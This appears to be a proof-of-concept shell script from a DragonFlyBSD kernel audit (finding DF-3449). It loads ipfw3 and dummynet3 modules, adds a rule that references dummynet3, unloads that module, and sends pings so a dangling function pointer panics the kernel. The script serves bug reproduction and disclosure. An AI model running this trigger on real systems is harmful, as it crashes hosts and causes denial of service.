⬢ DragonFlyBSD Kernel Audit
DF-3449 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3449 trigger - runs entirely on the guest, detached from ssh.
exec >/root/df3449.log 2>&1
set -x
date
uname -a

# 1. firewall default-to-accept so ssh/traffic survives module load
sysctl net.filters_default_to_accept=1

# 2. load ipfw3, basic (standalone ref so the dummynet3 unload cascade
#    cannot unload basic -> avoids the known DF-0669 rn_flush(NULL) panic),
#    then dummynet3
kldload /usr/obj/usr/src/sys/net/ipfw3/ipfw3.ko || exit 1
kldload /usr/obj/usr/src/sys/net/ipfw3_basic/ipfw3_basic.ko || exit 1
kldload /usr/obj/usr/src/sys/net/dummynet3/dummynet3.ko || exit 1
kldstat

# 3. configure a real pipe, then a rule referencing module 2 (O_DUMMYNET_PIPE)
ipfw3 pipe 1 config bw 1Mbit/s delay 10ms
ipfw3 add 100 pipe 1 ip from any to any
ipfw3 list

# 4. sanity: traffic flows while dummynet3 is loaded
ping -c 2 -t 5 127.0.0.1

# 5. THE BUG: unload succeeds although rule 100 references module 2.
#    dummynet3's MOD_UNLOAD never calls ip_fw3_unregister_module(2):
#    filter_funcs[2][0] now dangles into unmapped module text and
#    fw3_modules[] still claims "dummynet" is loaded.
kldunload dummynet3
echo "UNLOAD_RC=$?"
kldstat
ipfw3 list

# 6. first packet through ipfw3 -> check_body -> filter_funcs[2][0]() -> boom
ping -c 2 -t 5 127.0.0.1
echo "SURVIVED_LOOPBACK (unexpected)"

ping -c 2 -t 5 10.0.2.2
echo "SURVIVED_EXTERNAL (unexpected)"
echo "SCRIPT_DONE"